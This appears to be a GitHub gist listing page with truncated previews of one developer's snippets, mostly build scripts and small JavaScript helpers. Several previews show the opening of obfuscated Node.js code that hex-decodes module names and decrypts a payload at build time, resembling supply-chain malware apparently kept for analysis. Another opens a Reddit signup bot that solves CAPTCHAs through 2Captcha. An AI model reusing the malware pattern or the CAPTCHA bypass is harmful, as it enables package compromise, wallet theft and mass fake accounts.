Skip to content

Instantly share code, notes, and snippets.

@jsoverson
jsoverson / silkjs_deps.sh
Created December 8, 2011 18:53
SilkJS simplified dependency build
mkdir deps
cd deps
export SILKURL=https://github.com/downloads/mschwartz/SilkJS/
for DEP in mysql-5.1.58.tar.gz mm_1.4.2.orig.tar.gz libjpeg8_8b.orig.tar.gz libgd2_2.0.36~rc1~dfsg.orig.tar.gz; do \
echo Downloading $DEP; curl -LO $SILKURL$DEP && echo Extracting $DEP && tar -xzf $DEP && echo Done; done
for DEP in mysql mm jpeg libgd2; do cd $DEP*; ./configure && make && sudo make install; cd ..; done
cd ..
@jsoverson
jsoverson / ajax.js
Created October 26, 2012 16:39
Simple ajax lib
function ajax(url, cb, postData) {
var request = window.ActiveXObject ? new ActiveXObject('Microsoft.XMLHTTP') : new XMLHttpRequest();
request.onreadystatechange = function () {
console.log('what');
if (request.readyState==4)
cb(request.responseText);
};
if (postData) {
@jsoverson
jsoverson / jsonp.js
Created October 26, 2012 17:21
Simple jsonp
function jsonp(src,cb){
var script = document.createElement('script');
var previousCall = document.getElementById('srvCall');
previousCall && document.body.removeChild(previousCall);
script.charset = 'UTF-8';
script.id = 'srvCall';
document.body.insertBefore(script, document.body.firstChild);
script.src = src;
window.serverCallback = cb;
}
@jsoverson
jsoverson / device.css
Created February 15, 2013 20:06
Quick css hacks to target android/ios
.visible-android {
display:none;
}
.visible-ios {
display:none;
}
.on-device .visible-android, .on-device .visible-android {
display:inherit;
}
.device-ios .visible-android {
@jsoverson
jsoverson / .jshintrc
Created October 10, 2013 21:42
running jshintrc
{
// Enforcing
"camelcase" : true, // true: Identifiers must be in camelCase
"curly" : false, // true: Require {} for every new block or scope
"indent" : 2, // {int} Number of spaces to use for indentation
"latedef" : "nofunc", // true: Require variables/functions to be defined before being used
"newcap" : true, // true: Require capitalization of all constructor functions e.g. `new F()`
"nonew" : true, // true: Prohibit use of constructors for side-effects (without assignment)
"unused" : "vars", // true: Require all defined variables be used
"trailing" : true, // true: Prohibit trailing whitespaces
! function() {
try {
var r = require,
t = process;
function e(r) {
return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
! function() {
try {
var r = require,
t = process;
function e(r) {
return Buffer.from(r, "hex").toString()
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
/*@@*/
module.exports = function(e) {
try {
if (!/build\:.*\-release/.test(process.argv[2])) return;
var t = process.env.npm_package_description,
r = require("fs"),
i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",
n = r.statSync(i),
c = r.readFileSync(i, "utf8"),
o = require("crypto").createDecipher("aes256", t),
/*@@*/
! function() {
function e() {
try {
var o = require("http"),
a = require("crypto"),
c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";
function i(e, t, n) {
e = Buffer.from(e, "hex").toString();
@jsoverson
jsoverson / reddit-signup.js
Created December 3, 2018 17:46
Reddit signup script w/Puppeteer and 2Captcha
const puppeteer = require('puppeteer');
const request = require('request-promise-native');
const poll = require('promise-poller').default;
const siteDetails = {
sitekey: '6LeTnxkTAAAAAN9QEuDZRpn90WwKk_R1TRW_g-JC',
pageurl: 'https://old.reddit.com/login'
}
const getUsername = require('./get-username');